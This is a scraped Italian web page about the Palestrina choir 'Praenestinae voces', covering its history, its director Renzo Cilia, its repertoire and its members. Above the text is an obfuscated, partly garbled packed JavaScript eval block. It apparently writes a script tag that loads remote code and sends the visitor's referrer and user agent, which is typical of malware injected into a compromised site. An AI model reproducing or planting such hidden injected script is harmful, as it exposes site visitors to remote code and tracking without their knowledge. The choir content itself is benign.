

Link: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtrsh|var|u0026u|referrer|bttt||js|php'.split('|'),0,{}))

[www.praenestinaevoces.it](http://www.praenestinaevoces.it)



### STORIA

La costituzione del Coro Polifonico "Praenestinae voces" risale all'estate del 1997 allorché un gruppo di appassionati si pose un grande obiettivo: quello di concorrere a diffondere la conoscenza della musica di Giovanni Pierluigi da Palestrina (1525-1594). Li accomunava non solo l'amore per il canto ma anche il convincimento che questo autore non era conosciuto quanto la sua grandezza avrebbe meritato. Non davano certo ragione alla sua arte le, pur lodevoli, esecuzioni che potevano trovarsi riprodotte in dischi, usualmente ad opera di corali tedesche o inglesi. Occorreva, quindi, riscoprire la nostra tradizione musicale. Una tappa fondamentale, a questo riguardo, si è avuta nel settembre dell'anno successivo con l'arrivo alla direzione del coro del Maestro Renzo Cilia, uno dei più preparati e sensibili conoscitori del Palestrina. E' iniziato, quindi, un periodo di grande fermento che ha visto il coro impegnato in iniziative artistiche sempre più importanti. Allo stesso tempo, il coro si è dotato di una organizzazione maggiormente strutturata assumendo la forma di associazione culturale senza scopo di lucro, con Presidente Gino Bonanni. Della importanza dello scopo che aveva mosso i fondatori del coro si è avuta conferma dalle parole che il più grande compositore contemporaneo di polifonia: Domenico Bartolucci ha espresso alla fine del concerto del coro tenuto a Palestrina il 2 giugno 2002 per festeggiare gli 85 anni dell'insigne musicista. In quella occasione, Bartolucci ebbe a incitare la Città di Palestrina ad attivarsi per valorizzare l'opera di Pierluigi, da lui considerato il maggiore genio musicale di tutti i tempi.

### DIREZIONE ARTISTICA

Come accennato, direttore del coro è il M° Renzo Cilia. Egli ha iniziato gli studi musicali nell'isola di Malta, diplomandosi in armonia e pianoforte presso la London Royal School of Music. Per alcuni anni ha svolto, su incarico dell'ordinario diocesano, l'attività organistica nella cattedrale de La Valletta. Venuto in Italia nel 1971, come alunno del Pontificio Istituto di Musica Sacra, ha conseguito il Magistero di Canto Gregoriano, il Magistero di Musica Sacra, il Magistero di Composizione e Direzione di Coro, nonché l'attestato di Organista Liturgico. E' stato segnalato, a più riprese, per la sua attività musicale dai suoi stessi insegnanti: i maestri Vieri Tosatti, A. Renzi, Erich Amdt, dom R. Baratta, dom E. Cardinale e Domenico Bartolucci. Fu lo stesso Bartolucci, allora Maestro Perpetuo della Cappella Sistina, che, nel 1981, invitò il M° Cilia a rimanere accanto a lui nello staff direttivo della Cappella Sistina, prima come segretario dell'Istituzione Sistina e poi come Magister Puerorum. In tale veste, più di una volta ha sostituito il titolare nella direzione di tutta la Cappella, anche nelle solenni celebrazioni della Basilica Vaticana, alla stessa presenza del Santo Padre. Attualmente, il M° Cilia ricopre l'incarico di insegnante di armonia, contrappunto e fuga e tiene il corso monografico di forme palestriniane al Pontificio Istituto di Musica Sacra di Roma.

## REPERTORIO

Il punto di riferimento essenziale del repertorio sono - naturalmente - le opere di Giovanni Pierluigi e, più in generale, le composizioni polifoniche della gloriosa "Scuola romana", cui vanno idealmente riferiti anche musicisti contemporanei come Domenico Bartolucci. Del resto, la limpidezza delle esecuzioni e l'amalgama delle voci del coro ben si prestano ad interpretare tali opere, nell'ambito - o per meglio dire - nel recupero della migliore tradizione della Scuola. Il repertorio del "Praenestinae voces" è comunque molto variegato e ricco spaziando dalla musica gregoriana ad opere polifoniche sacre e profane di epoche e scuole diverse.

## II CORO

Composizione. Il coro si compone di circa 50 elementi suddivisi fra le 4 voci fondamentali (soprani, contralti, tenori e bassi). In maggioranza sono residenti a Palestrina, ma non mancano abitanti di città vicine (Cave, Zagarolo) o un po' più lontane (Roma, Lanuvio). Sono presenti le più svariate professioni: da giornalista ad operaio, da studente a pensionato; come pure assai variegata sono le classi di età. In generale, i componenti più "anziani" hanno a suo tempo fatto parte del famoso coro di Pio Fernandez.